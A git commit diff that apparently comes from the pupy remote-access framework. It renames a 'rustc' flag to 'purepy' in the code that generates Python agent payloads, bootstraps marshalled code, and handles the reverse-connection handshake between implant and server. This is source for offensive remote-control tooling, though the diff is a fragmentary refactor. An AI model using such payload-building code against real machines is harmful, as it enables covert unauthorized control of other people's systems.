fix py and py_oneliner on MacOS

This commit is contained in:
n1nj4sec 2024-02-06 10:13:06 +01:00
parent b133d2c407
commit 56b7aac6b4
10 changed files with 47 additions and 27 deletions

View File

@ -40,7 +40,7 @@ def _does_dest_allows_executable_mappings(folder):
return True
except IOError as e:
pupy.dprint('Exception during mmap {}: {}', e)
pupy.dprint('Exception during mmap {}', e)
return False
except OSError as e:

View File

@ -164,7 +164,7 @@ class ReverseSlaveService(Service):
self._conn._config.update(REVERSE_SLAVE_CONF)
pupyimporter = __import__('pupyimporter')
is_rustc = "rustc" in sys.version
is_purepy = sys.purepy
self._conn.root.initialize_v2(
1, (
sys.version_info.major,
@ -187,7 +187,7 @@ class ReverseSlaveService(Service):
for function in dir(pupyimporter)
if hasattr(getattr(pupyimporter, function), '__call__')
},
is_rustc
is_purepy
)
def on_disconnect(self):

View File

@ -355,7 +355,7 @@ def get_edit_apk(target, display, path, conf):
try:
packed_payload = pack_py_payload(
target, display, get_raw_conf(display, conf), False
target, display, get_raw_conf(display, conf), autostart=False
)
shutil.copy(path, tempapk)
@ -1065,7 +1065,7 @@ def pupygen(args, config, pupsrv, display):
packed_payload = pack_py_payload(
target, display,
get_raw_conf(display, conf, verbose=True)
get_raw_conf(display, conf, verbose=True), purepy=True
)
outfile.write(
@ -1083,7 +1083,8 @@ def pupygen(args, config, pupsrv, display):
packed_payload = pack_py_payload(
target, display, get_raw_conf(
display, conf, verbose=True
)
),
purepy=True
)
if not isinstance(packed_payload, bytes):

@ -1 +1 @@
Subproject commit d730fc61a5e3f57a6d74313e0036682126697669
Subproject commit 52b6f262a0fe545fa64507ba6b2571ac92f04e3e

View File

@ -85,7 +85,7 @@ class PupyClient(object):
self.platform, self.arch
),
debug='debug_logfile' in self.desc,
rustc=self.conn.remote_is_rustc
purepy=self.conn.remote_is_purepy
)
self.conn.events_receiver = self._event_receiver

View File

@ -655,7 +655,7 @@ class PupyServer(object):
def add_client(self, conn):
client = None
if conn.remote_is_rustc:
if conn.remote_is_purepy:
conn.execute(
'exec({})'.format(
reprb(

View File

@ -75,7 +75,7 @@ class PupyService(Service):
self.protocol_version = None
self.remote_version = (2, 7)
self.remote_is_rustc = False
self.remote_is_purepy = False
self.events_receiver = None
@ -150,7 +150,7 @@ class PupyService(Service):
register_cleanup, unregister_cleanup,
remote_exit, remote_eval, remote_execute,
infos, loaded_modules, cached_modules,
pupyimporter, pupyimporter_funcs, is_rustc, *args):
pupyimporter, pupyimporter_funcs, is_purepy, *args):
if __debug__:
logger.debug(
@ -160,7 +160,7 @@ class PupyService(Service):
self.protocol_version = protocol_version
self.remote_version = remote_version
self.remote_is_rustc = is_rustc
self.remote_is_purepy = is_purepy
if sys.version_info.major == 3 and \
self.remote_version[0] == 2:

View File

@ -53,16 +53,16 @@ class IgnoreFileException(Exception):
class Target(object):
__slots__ = (
'os', 'arch', 'pymaj', 'pymin', 'debug',
'_native', '_so', '_platform', '_rustc'
'_native', '_so', '_platform', '_purepy'
)
def __init__(self, python, platform=None, debug=False, rustc=False):
def __init__(self, python, platform=None, debug=False, purepy=False):
self.pymaj, self.pymin = python[:2]
self.debug = debug
self.pymaj = int(self.pymaj)
self.pymin = int(self.pymin)
self._rustc = rustc
self._purepy = purepy
if platform:
self.os, self.arch = platform[:2]
@ -88,8 +88,8 @@ class Target(object):
return self._native
@property
def rustc(self):
return self._rustc
def purepy(self):
return self._purepy
@property
def so(self):
@ -279,7 +279,7 @@ def dict2code(d):
""" convert a dict into its python code representation, that should be compatible with any python implementation """
def bootstrap(stdlib, config, autostart=True):
def bootstrap(stdlib, config, autostart=True, purepy=False):
if "pupy/agent/__init__.pyo" in stdlib:
actions = [
'from __future__ import absolute_import',
@ -288,7 +288,16 @@ def bootstrap(stdlib, config, autostart=True):
'from __future__ import unicode_literals',
'import importlib.util, sys, marshal',
]
if purepy:
actions += [
'setattr(sys,"purepy",True)'
]
else:
actions += [
'setattr(sys,"purepy",False)'
]
actions += [
'stdlib = marshal.loads({stdlib})',
'config = marshal.loads({config})',
'spec = importlib.util.spec_from_loader("pupy.agent", loader=None)',
@ -321,7 +330,17 @@ def bootstrap(stdlib, config, autostart=True):
'from __future__ import unicode_literals',
'import importlib.util, sys',
]
if purepy:
actions += [
'setattr(sys,"purepy",True)'
]
else:
actions += [
'setattr(sys,"purepy",False)'
]
actions +=[
'stdlib = {stdlib}',
'config = {config}',
'spec = importlib.util.spec_from_loader("pupy.agent", loader=None)',
@ -549,7 +568,7 @@ def from_path(
base, ext = modpath.rsplit('.', 1)
# Garbage removing
if target.rustc:
if target.purepy:
if ext == 'py':
modpath = base+'.py'
if module_code is not None:
@ -617,7 +636,7 @@ def from_path(
cur += rep + '/'
if ext == '.py':
if target.rustc:
if target.purepy:
ext = '.py'
else:
module_code = pupycompile(
@ -758,7 +777,7 @@ def _package(
continue
# Garbage removing
if target.rustc:
if target.purepy:
if ext == "py":
try:
content = get_content(
@ -932,7 +951,7 @@ def add_missing_init(target, modules):
tab=k.split("/")
for i in range(1, len(tab)-1):
pathname="/".join(tab[0:i])
if not target.rustc:
if not target.purepy:
f=pathname+"/__init__.pyo"
if f not in modules and f not in toadd and f[:-1] not in modules:
logger.debug("adding missing {}".format(f))

View File

@ -27,9 +27,9 @@ def getLinuxImportedModules():
return lines
def pack_py_payload(target, display, conf, autostart=True, rustc = True):
def pack_py_payload(target, display, conf, autostart=True, purepy=True):
display(Success('Generating PY payload ...'))
target._rustc = rustc # rustc=True force the use of .py files instead of .pyo
target._purepy = purepy # purepy=True force the use of .py files instead of .pyo
stdlib = dependencies.importer(
target, (
'pyasn1', 'rsa', 'pyaes',
@ -49,8 +49,7 @@ def pack_py_payload(target, display, conf, autostart=True, rustc = True):
)
payload = dependencies.bootstrap(
stdlib, conf, autostart
) + '\n'
stdlib, conf, autostart, purepy=purepy) + '\n'
if target.debug:
return payload

View File

@ -47,3 +47,4 @@ flake8
flake8-per-file-ignores
ushlex; python_version<'3'
pyuv @ git+https://github.com/n1nj4sec/pyuv@fix-building-against-python311
tqdm